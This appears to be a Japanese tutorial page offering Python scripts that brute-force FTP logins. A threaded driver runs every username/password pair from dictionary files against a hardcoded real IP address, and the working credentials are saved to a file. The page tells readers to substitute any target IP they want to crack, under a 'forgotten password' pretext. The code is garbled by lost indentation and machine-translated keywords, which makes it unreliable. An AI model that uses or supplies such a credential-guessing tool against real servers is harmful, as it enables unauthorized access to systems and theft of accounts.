ホームページ  >  記事  >  バックエンド開発  >  FTP パスワードを忘れた場合、Python ftplib ライブラリを使用してパスワードを総当たり攻撃しますか?

FTP パスワードを忘れた場合、Python ftplib ライブラリを使用してパスワードを総当たり攻撃しますか?

WBOY
WBOYオリジナル
2016-06-16 08:45:341346ブラウズ

Python には固有の強力なライブラリ ファイルがあり、多くの関数には対応するライブラリ ファイルがあるため、それについて学ぶ必要があります。ログイン関数のみが必要で、マルチスレッドを使用します。辞書内のフィールドに従ってログインすることができ、また、自分のニーズや状況に応じて必要なプログラムを作成することもできるため、プログラムは退屈で反復的な作業を行うことができます。

コードはその直下にあり、メインファイルはその下にあります

コードをコピー コードは次のとおりです:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open("user.txt","r")
pshand=open("passwd.txt","r")
listuser=[]
listpass=[]
open("user.txt","r") の場合:
lineus=ushand.readline().strip('n')
listuser.append(lineus)
open("passwd.txt","r") の PS の場合:
lineps=pshand.readline().strip('n')
listpass.append(lineps) )
for i in listuser:
for j in listpass:
command="ftp.py %s %s" %(i,j)
print コマンド
my_thread=mythread(command) )
my_thread.start()
time.sleep(0.1)

対応する ftp.py ファイルのコードは次のとおりです

コードをコピーします コードは次のとおりです:

import ftplib
importソケット
import sys
ftp=ftplib .FTP('121.54.175.204')
試してみます:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open('aa.txt','a+')
hand.write(user+”:”+passwd+”n”)
ftplib.error_perm を除く:
print “passwd is world 「


user.txt と passwd.txt という 2 つのファイルが必要です。これらはそれぞれユーザー名とアカウントの辞書です。

コード内の FTP クラッキング IP は、クラッキングしたい IP に自分で変更できます。最後に、正しいアカウント番号とパスワードが aa.txt ファイルに入力されます。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。